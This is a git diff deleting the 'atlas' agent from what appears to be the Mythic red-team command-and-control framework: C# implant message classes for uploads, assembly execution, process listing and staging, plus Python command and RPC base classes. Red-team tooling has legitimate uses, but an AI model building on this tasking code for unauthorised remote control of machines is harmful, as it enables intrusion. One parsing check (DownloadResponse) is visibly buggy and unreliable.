- public static string UploadTaskingFormat = @"""assembly_id"": ""{0}"", ""remote_path"": ""{1}""";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\", @"");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- Match match = new Regex(format).Match(data.Replace(@"\", @""));
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- return matches;
- }
-
- public static UploadTasking FromJson(string message)
- {
- List parseList = UploadTasking.Parse(message, UploadTaskingFormat);
- if (parseList.Count != 2) { return null; }
- return new UploadTasking
- {
- assembly_id = parseList[0],
- remote_path = parseList[1]
- };
- }
- }
-
- public class RunAssembly
- {
- public string args { get; set; }
- public string assembly_id { get; set; }
-
- public static string RunAssemblyFormat = @"""assembly_id"": ""{0}"", ""args"": ""{1}""";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\", @"");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- Match match = new Regex(format).Match(data.Replace(@"\", @""));
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- return matches;
- }
-
- public static RunAssembly FromJson(string message)
- {
- List parseList = RunAssembly.Parse(message, RunAssemblyFormat);
- if (parseList.Count != 2) { return null; }
- return new RunAssembly
- {
- args = parseList[1],
- assembly_id = parseList[0]
- };
- }
- }
-
- public class Upload
- {
- public string action { get; set; }
- public int chunk_size { get; set; }
- public string file_id { get; set; }
- public int chunk_num { get; set; }
- public string full_path { get; set; }
- public string task_id { get; set; }
-
- public string JsonFormat = @"{{""action"":""{0}"",""chunk_size"":{1},""file_id"":""{2}"",""chunk_num"":{3},""full_path"":""{4}"",""task_id"":""{5}""}}";
-
- public static string ToJson(Upload upload)
- {
- return String.Format(
- upload.JsonFormat,
- JavaScriptStringEncode(upload.action),
- JavaScriptStringEncode(upload.chunk_size.ToString()),
- JavaScriptStringEncode(upload.file_id),
- JavaScriptStringEncode(upload.chunk_num.ToString()),
- JavaScriptStringEncode(upload.full_path),
- JavaScriptStringEncode(upload.task_id)
- );
- }
- }
-
- public class UploadResponse
- {
- public string action { get; set; }
- public int total_chunks { get; set; }
- public int chunk_num { get; set; }
- public string chunk_data { get; set; }
- public string file_id { get; set; }
- public string task_id { get; set; }
-
- public static string UploadResponseFormat = @"{{""action"":""{0}"",""total_chunks"":{1},""chunk_num"":{2},""chunk_data"":""{3}"",""file_id"":""{4}"",""task_id"":""{5}""}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", @"{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
- if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
- if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
- if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
- Match match = new Regex(format).Match(data.Replace(@"\", @""));
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
- if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
- if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
- if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
- return matches;
- }
-
- public static UploadResponse FromJson(string message)
- {
- List parseList = UploadResponse.Parse(message, UploadResponseFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 6) { return null; }
- return new UploadResponse
- {
- action = parseList[0],
- total_chunks = Int32.Parse(parseList[1]),
- chunk_num = Int32.Parse(parseList[2]),
- chunk_data = parseList[3],
- file_id = parseList[4],
- task_id = parseList[5]
- };
- }
- }
-
- public class ProcessList
- {
- public List process_list { get; set; }
- public ProcessList()
- {
- process_list = new List();
- }
-
- public static string ToJson(ProcessList process_list)
- {
- string responses = "";
- int count = 0;
- foreach (Process process in process_list.process_list)
- {
- if ((count + 1) == process_list.process_list.Count)
- {
- responses += Process.ToJson(process);
- }
- else
- {
- responses += Process.ToJson(process) + ',';
- }
- ++count;
- }
- return "[" + responses + "]";
- }
- }
-
- public class Process
- {
- public int process_id { get; set; }
- public string architecture { get; set; }
- public string name { get; set; }
- public string user { get; set; }
- public string bin_path { get; set; }
- public int parent_process_id { get; set; }
-
- public string ProcessFormat = @"{{""process_id"":{0},""architecture"":""{1}"",""name"":""{2}"",""user"":""{3}"",""bin_path"":""{4}"",""parent_process_id"":{5}}}";
-
- public static string ToJson(Process process)
- {
- return String.Format(
- process.ProcessFormat,
- JavaScriptStringEncode(process.process_id.ToString()),
- JavaScriptStringEncode(process.architecture),
- JavaScriptStringEncode(process.name),
- JavaScriptStringEncode(process.user),
- JavaScriptStringEncode(process.bin_path),
- JavaScriptStringEncode(process.parent_process_id.ToString())
- );
- }
- }
-
- public class DirectoryList
- {
- public List directory_list { get; set; }
- public DirectoryList()
- {
- directory_list = new List();
- }
-
- public static string ToJson(DirectoryList directory_list)
- {
- string responses = "";
- int count = 0;
- foreach (FileSystemEntry entry in directory_list.directory_list)
- {
- if ((count + 1) == directory_list.directory_list.Count)
- {
- responses += FileSystemEntry.ToJson(entry);
- }
- else
- {
- responses += FileSystemEntry.ToJson(entry) + ',';
- }
- ++count;
- }
- return "[" + responses + "]";
- }
- }
-
- public class FileSystemEntry
- {
- public string file_name { get; set; }
- public int size { get; set; }
- public string timestamp { get; set; }
- public string IsDir { get; set; }
-
- public string ListFormat = @"{{""file_name"":""{0}"",""size"":{1},""timestamp"":""{2}"",""IsDir"":{3}}}";
-
- public static string ToJson(FileSystemEntry listing)
- {
- return String.Format(
- listing.ListFormat,
- JavaScriptStringEncode(listing.file_name),
- JavaScriptStringEncode(listing.size.ToString()),
- JavaScriptStringEncode(listing.timestamp),
- JavaScriptStringEncode(listing.IsDir)
- );
- }
- }
-
- public class DownloadResponse
- {
- public string status { get; set; }
- public string file_id { get; set; }
- public string task_id { get; set; }
-
- public static string DownloadResponseFormat = @"{{""status"":""{0}"",""file_id"":""{1}"",""task_id"":""{2}""}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", @"{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
- Match match = new Regex(format).Match(data.Replace(@"\", @""));
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
- return matches;
- }
-
- public static DownloadResponse FromJson(string message)
- {
- List parseList = DownloadResponse.Parse(message, DownloadResponseFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 5) { return null; }
- return new DownloadResponse
- {
- status = parseList[0],
- file_id = parseList[1],
- task_id = parseList[2]
- };
- }
- }
-
- public class GetStage
- {
- public string action { get; set; }
- public string pub_key { get; set; }
- public string session_id { get; set; }
-
- public string JsonFormat = @"{{""action"":""{0}"",""pub_key"":""{1}"",""session_id"":""{2}""}}";
-
- public static string ToJson(GetStage get_stage)
- {
- return String.Format(
- get_stage.JsonFormat,
- JavaScriptStringEncode(get_stage.action),
- JavaScriptStringEncode(get_stage.pub_key),
- JavaScriptStringEncode(get_stage.session_id)
- );
- }
- }
-
- public class StageResponse
- {
- public string action { get; set; }
- public string uuid { get; set; }
- public string session_key { get; set; }
- public string session_id { get; set; }
-
-
- public static string JsonFormat = @"{{""uuid"":""{0}"",""session_key"":""{1}"",""action"":""{2}"",""session_id"":""{3}""}}";
-
- public static List Parse(string data, string format)
- {
- format = Regex.Escape(format).Replace("\\{", @"{");
- if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
- if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
- if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
- if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
- Match match = new Regex(format).Match(data.Replace(@"\", @""));
- List matches = new List();
- if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
- if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
- if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
- if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
- return matches;
- }
-
- public static StageResponse FromJson(string message)
- {
- List parseList = StageResponse.Parse(message, JsonFormat.Replace("{{", "{").Replace("}}", "}"));
- if (parseList.Count != 4) { return null; }
- return new StageResponse
- {
- action = parseList[2],
- uuid = parseList[0],
- session_key = parseList[1],
- session_id = parseList[3]
- };
- }
- }
- }
-}
diff --git a/Payload_Types/atlas/agent_code/donut b/Payload_Types/atlas/agent_code/donut
deleted file mode 100644
index d739a29db..000000000
Binary files a/Payload_Types/atlas/agent_code/donut and /dev/null differ
diff --git a/Payload_Types/atlas/mythic/CommandBase.py b/Payload_Types/atlas/mythic/CommandBase.py
deleted file mode 100644
index 6e949deb3..000000000
--- a/Payload_Types/atlas/mythic/CommandBase.py
+++ /dev/null
@@ -1,483 +0,0 @@
-from abc import abstractmethod, ABCMeta
-import json
-from enum import Enum
-import base64
-import uuid
-from pathlib import Path
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
- Completed = "completed"
- Processed = "processed"
- Processing = "processing"
-
-
-class ParameterType(Enum):
- String = "String"
- Boolean = "Boolean"
- File = "File"
- Array = "Array"
- ChooseOne = "Choice"
- ChooseMultiple = "ChoiceMultiple"
- Credential_JSON = "Credential-JSON"
- Credential_Account = "Credential-Account"
- Credential_Realm = "Credential-Realm"
- Credential_Type = ("Credential-Type",)
- Credential_Value = "Credential-Credential"
- Number = "Number"
- Payload = "PayloadList"
- ConnectionInfo = "AgentConnect"
-
-
-class CommandParameter:
- def __init__(
- self,
- name: str,
- type: ParameterType,
- description: str = "",
- choices: [any] = None,
- required: bool = True,
- default_value: any = None,
- validation_func: callable = None,
- value: any = None,
- supported_agents: [str] = None,
- ):
- self.name = name
- self.type = type
- self.description = description
- if choices is None:
- self.choices = []
- else:
- self.choices = choices
- self.required = required
- self.validation_func = validation_func
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.default_value = default_value
- self.supported_agents = supported_agents if supported_agents is not None else []
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self):
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def choices(self):
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- self._choices = choices
-
- @property
- def validation_func(self):
- return self._validation_func
-
- @validation_func.setter
- def validation_func(self, validation_func):
- self._validation_func = validation_func
-
- @property
- def supported_agents(self):
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is not None:
- type_validated = TypeValidators().validate(self.type, value)
- if self.validation_func is not None:
- try:
- self.validation_func(type_validated)
- self._value = type_validated
- except Exception as e:
- raise ValueError(
- "Failed validation check for parameter {} with value {}".format(
- self.name, str(value)
- )
- )
- return
- else:
- # now we do some verification ourselves based on the type
- self._value = type_validated
- return
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "type": self._type.value,
- "description": self._description,
- "choices": "\n".join(self._choices),
- "required": self._required,
- "default_value": self._value,
- "supported_agents": "\n".join(self._supported_agents),
- }
-
-
-class TypeValidators:
- def validateString(self, val):
- return str(val)
-
- def validateNumber(self, val):
- try:
- return int(val)
- except:
- return float(val)
-
- def validateBoolean(self, val):
- if isinstance(val, bool):
- return val
- else:
- raise ValueError("Value isn't bool")
-
- def validateFile(self, val):
- try: # check if the file is actually a file-id
- uuid_obj = uuid.UUID(val, version=4)
- return str(uuid_obj)
- except ValueError:
- pass
- return base64.b64decode(val)
-
- def validateArray(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("value isn't array")
-
- def validateCredentialJSON(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("value ins't a dictionary")
-
- def validatePass(self, val):
- return val
-
- def validateChooseMultiple(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("Choices aren't in a list")
-
- def validatePayloadList(self, val):
- return str(uuid.UUID(val, version=4))
-
- def validateAgentConnect(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("Not instance of dictionary")
-
- switch = {
- "String": validateString,
- "Number": validateNumber,
- "Boolean": validateBoolean,
- "File": validateFile,
- "Array": validateArray,
- "Credential-JSON": validateCredentialJSON,
- "Credential-Account": validatePass,
- "Credential-Realm": validatePass,
- "Credential-Type": validatePass,
- "Credential-Credential": validatePass,
- "Choice": validatePass,
- "ChoiceMultiple": validateChooseMultiple,
- "PayloadList": validatePayloadList,
- "AgentConnect": validateAgentConnect,
- }
-
- def validate(self, type: ParameterType, val: any):
- return self.switch[type.value](self, val)
-
-
-class TaskArguments(metaclass=ABCMeta):
- def __init__(self, command_line: str):
- self.command_line = str(command_line)
-
- @property
- def args(self):
- return self._args
-
- @args.setter
- def args(self, args):
- self._args = args
-
- def get_arg(self, key: str):
- if key in self.args:
- return self.args[key].value
- else:
- return None
-
- def has_arg(self, key: str) -> bool:
- return key in self.args
-
- def get_commandline(self) -> str:
- return self.command_line
-
- def is_empty(self) -> bool:
- return len(self.args) == 0
-
- def add_arg(self, key: str, value, type: ParameterType = None):
- if key in self.args:
- self.args[key].value = value
- else:
- if type is None:
- self.args[key] = CommandParameter(
- name=key, type=ParameterType.String, value=value
- )
- else:
- self.args[key] = CommandParameter(name=key, type=type, value=value)
-
- def rename_arg(self, old_key: str, new_key: str):
- if old_key not in self.args:
- raise Exception("{} not a valid parameter".format(old_key))
- self.args[new_key] = self.args.pop(old_key)
-
- def remove_arg(self, key: str):
- self.args.pop(key, None)
-
- def to_json(self):
- temp = []
- for k, v in self.args.items():
- temp.append(v.to_json())
- return temp
-
- def load_args_from_json_string(self, command_line: str):
- temp_dict = json.loads(command_line)
- for k, v in temp_dict.items():
- for k2,v2 in self.args.items():
- if v2.name == k:
- v2.value = v
-
- async def verify_required_args_have_values(self):
- for k, v in self.args.items():
- if v.value is None:
- v.value = v.default_value
- if v.required and v.value is None:
- raise ValueError("Required arg {} has no value".format(k))
-
- def __str__(self):
- if len(self.args) > 0:
- temp = {}
- for k, v in self.args.items():
- if isinstance(v.value, bytes):
- temp[k] = base64.b64encode(v.value).decode()
- else:
- temp[k] = v.value
- return json.dumps(temp)
- else:
- return self.command_line
-
- @abstractmethod
- async def parse_arguments(self):
- pass
-
-
-class AgentResponse:
- def __init__(self, response: dict):
- self.response = response
-
-
-class Callback:
- def __init__(self, **kwargs):
- self.__dict__.update(kwargs)
-
-
-class BrowserScript:
- # if a browserscript is specified as part of a PayloadType, then it's a support script
- # if a browserscript is specified as part of a command, then it's for that command
- def __init__(self, script_name: str, author: str = None):
- self.script_name = script_name
- self.author = author
-
- def to_json(self, base_path: Path):
- try:
- code_file = (
- base_path
- / "mythic"
- / "browser_scripts"
- / "{}.js".format(self.script_name)
- )
- if code_file.exists():
- code = code_file.read_bytes()
- code = base64.b64encode(code).decode()
- else:
- code = ""
- return {"script": code, "name": self.script_name, "author": self.author}
- except Exception as e:
- return {"script": str(e), "name": self.script_name, "author": self.author}
-
-
-class MythicTask:
- def __init__(
- self, taskinfo: dict, args: TaskArguments, status: MythicStatus = None
- ):
- self.task_id = taskinfo["id"]
- self.original_params = taskinfo["original_params"]
- self.completed = taskinfo["completed"]
- self.callback = Callback(**taskinfo["callback"])
- self.agent_task_id = taskinfo["agent_task_id"]
- self.operator = taskinfo["operator"]
- self.args = args
- self.status = MythicStatus.Success
- if status is not None:
- self.status = status
-
- def get_status(self) -> MythicStatus:
- return self.status
-
- def set_status(self, status: MythicStatus):
- self.status = status
-
- def __str__(self):
- return str(self.args)
-
-
-class CommandBase(metaclass=ABCMeta):
- def __init__(self, agent_code_path: Path):
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
-
- @property
- @abstractmethod
- def cmd(self):
- pass
-
- @property
- @abstractmethod
- def needs_admin(self):
- pass
-
- @property
- @abstractmethod
- def help_cmd(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def version(self):
- pass
-
- @property
- @abstractmethod
- def is_exit(self):
- pass
-
- @property
- @abstractmethod
- def is_file_browse(self):
- pass
-
- @property
- @abstractmethod
- def is_process_list(self):
- pass
-
- @property
- @abstractmethod
- def is_download_file(self):
- pass
-
- @property
- @abstractmethod
- def is_remove_file(self):
- pass
-
- @property
- @abstractmethod
- def is_upload_file(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def argument_class(self):
- pass
-
- @property
- @abstractmethod
- def attackmapping(self):
- pass
-
- @property
- def browser_script(self):
- pass
-
- @abstractmethod
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- pass
-
- @abstractmethod
- async def process_response(self, response: AgentResponse):
- pass
-
- def to_json(self):
- params = self.argument_class("").to_json()
- if self.browser_script is not None:
- bscript = {"browser_script": self.browser_script.to_json(self.base_path)}
- else:
- bscript = {}
- return {
- "cmd": self.cmd,
- "needs_admin": self.needs_admin,
- "help_cmd": self.help_cmd,
- "description": self.description,
- "version": self.version,
- "is_exit": self.is_exit,
- "is_file_browse": self.is_file_browse,
- "is_process_list": self.is_process_list,
- "is_download_file": self.is_download_file,
- "is_remove_file": self.is_remove_file,
- "is_upload_file": self.is_upload_file,
- "author": self.author,
- "attack": [{"t_num": a} for a in self.attackmapping],
- "parameters": params,
- **bscript,
- }
diff --git a/Payload_Types/atlas/mythic/MythicBaseRPC.py b/Payload_Types/atlas/mythic/MythicBaseRPC.py
deleted file mode 100644
index df92fe802..000000000
--- a/Payload_Types/atlas/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-from CommandBase import *
-import json
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self, task: MythicTask):
- self.task_id = task.task_id
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Payload_Types/atlas/mythic/MythicC2RPC.py b/Payload_Types/atlas/mythic/MythicC2RPC.py
deleted file mode 100644
index c43be2875..000000000
--- a/Payload_Types/atlas/mythic/MythicC2RPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicC2RPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicC2RPC(MythicBaseRPC):
- async def call_c2_func(
- self, c2_profile: str, function_name: str, message: str
- ) -> MythicC2RPCResponse:
- resp = await self.call(
- {"action": function_name, "message": message, "task_id": self.task_id},
- c2_profile,
- )
- return MythicC2RPCResponse(resp)
diff --git a/Payload_Types/atlas/mythic/MythicCryptoRPC.py b/Payload_Types/atlas/mythic/MythicCryptoRPC.py
deleted file mode 100644
index 6a7673d17..000000000
--- a/Payload_Types/atlas/mythic/MythicCryptoRPC.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicCryptoRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response["data"]
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCryptoRPC(MythicBaseRPC):
- async def encrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "task_id": self.task_id,
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "task_id": self.task_id,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
diff --git a/Payload_Types/atlas/mythic/MythicFileRPC.py b/Payload_Types/atlas/mythic/MythicFileRPC.py
deleted file mode 100644
index 77388965e..000000000
--- a/Payload_Types/atlas/mythic/MythicFileRPC.py
+++ /dev/null
@@ -1,172 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import uuid
-
-
-class MythicFileRPCResponse(RPCResponse):
- def __init__(self, file: RPCResponse):
- super().__init__(file._raw_resp)
- if file.status == MythicStatus.Success:
- self.agent_file_id = file.response["agent_file_id"]
- self.task = file.response["task"]
- self.timestamp = file.response["timestamp"]
- self.deleted = file.response["deleted"]
- self.operator = file.response["operator"]
- self.delete_after_fetch = file.response["delete_after_fetch"]
- self.filename = file.response["filename"]
- self.md5 = file.response["md5"]
- self.sha1 = file.response["sha1"]
- self.chunks_received = file.response["chunks_received"]
- self.total_chunks = file.response["total_chunks"]
- if "contents" in file.response:
- self.contents = base64.b64decode(file.response["contents"])
- else:
- self.contents = None
- else:
- self.agent_file_id = None
- self.task = None
- self.timestamp = None
- self.deleted = None
- self.operator = None
- self.delete_after_fetch = None
- self.filename = None
- self.md5 = None
- self.sha1 = None
- self.chunks_received = None
- self.total_chunks = None
- self.contents = None
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def agent_file_id(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- self._contents = contents
-
-
-class MythicFileRPC(MythicBaseRPC):
- async def register_file(
- self,
- file: bytes,
- delete_after_fetch: bool = None,
- saved_file_name: str = None,
- remote_path: str = None,
- is_screenshot: bool = None,
- is_download: bool = None,
- ) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "register_file",
- "file": base64.b64encode(file).decode(),
- "delete_after_fetch": delete_after_fetch
- if delete_after_fetch is not None
- else True,
- "saved_file_name": saved_file_name
- if saved_file_name is not None
- else str(uuid.uuid4()),
- "task_id": self.task_id,
- "remote_path": remote_path if remote_path is not None else "",
- "is_screenshot": is_screenshot if is_screenshot is not None else False,
- "is_download": is_download if is_download is not None else False,
- }
- )
- return MythicFileRPCResponse(resp)
-
- async def get_file_by_name(self, filename: str) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "get_file_by_name",
- "task_id": self.task_id,
- "filename": filename,
- }
- )
- return MythicFileRPCResponse(resp)
diff --git a/Payload_Types/atlas/mythic/MythicPayloadRPC.py b/Payload_Types/atlas/mythic/MythicPayloadRPC.py
deleted file mode 100644
index 2af8bb3a1..000000000
--- a/Payload_Types/atlas/mythic/MythicPayloadRPC.py
+++ /dev/null
@@ -1,303 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import pathlib
-
-
-class MythicPayloadRPCResponse(RPCResponse):
- def __init__(self, payload: RPCResponse):
- super().__init__(payload._raw_resp)
- if payload.status == MythicStatus.Success:
- self.uuid = payload.response["uuid"]
- self.tag = payload.response["tag"]
- self.operator = payload.response["operator"]
- self.creation_time = payload.response["creation_time"]
- self.payload_type = payload.response["payload_type"]
- self.operation = payload.response["operation"]
- self.wrapped_payload = payload.response["wrapped_payload"]
- self.deleted = payload.response["deleted"]
- self.auto_generated = payload.response["auto_generated"]
- self.task = payload.response["task"]
- if "contents" in payload.response:
- self.contents = payload.response["contents"]
- self.build_phase = payload.response["build_phase"]
- self.agent_file_id = payload.response["file_id"]["agent_file_id"]
- self.filename = payload.response["file_id"]["filename"]
- self.c2info = payload.response["c2info"]
- self.commands = payload.response["commands"]
- self.build_parameters = payload.response["build_parameters"]
- else:
- self.uuid = None
- self.tag = None
- self.operator = None
- self.creation_time = None
- self.payload_type = None
- self.operation = None
- self.wrapped_payload = None
- self.deleted = None
- self.auto_generated = None
- self.task = None
- self.contents = None
- self.build_phase = None
- self.agent_file_id = None
- self.filename = None
- self.c2info = None
- self.commands = None
- self.build_parameters = None
-
- @property
- def uuid(self):
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self):
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def creation_time(self):
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self):
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- self._payload_type = payload_type
-
- @property
- def location(self):
- return self._location
-
- @property
- def operation(self):
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- self._operation = operation
-
- @property
- def wrapped_payload(self):
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- self._wrapped_payload = wrapped_payload
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def auto_generated(self):
- return self._auto_generated
-
- @auto_generated.setter
- def auto_generated(self, auto_generated):
- self._auto_generated = auto_generated
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- try:
- self._contents = base64.b64decode(contents)
- except:
- self._contents = contents
-
- @property
- def build_phase(self):
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def c2info(self):
- return self._c2info
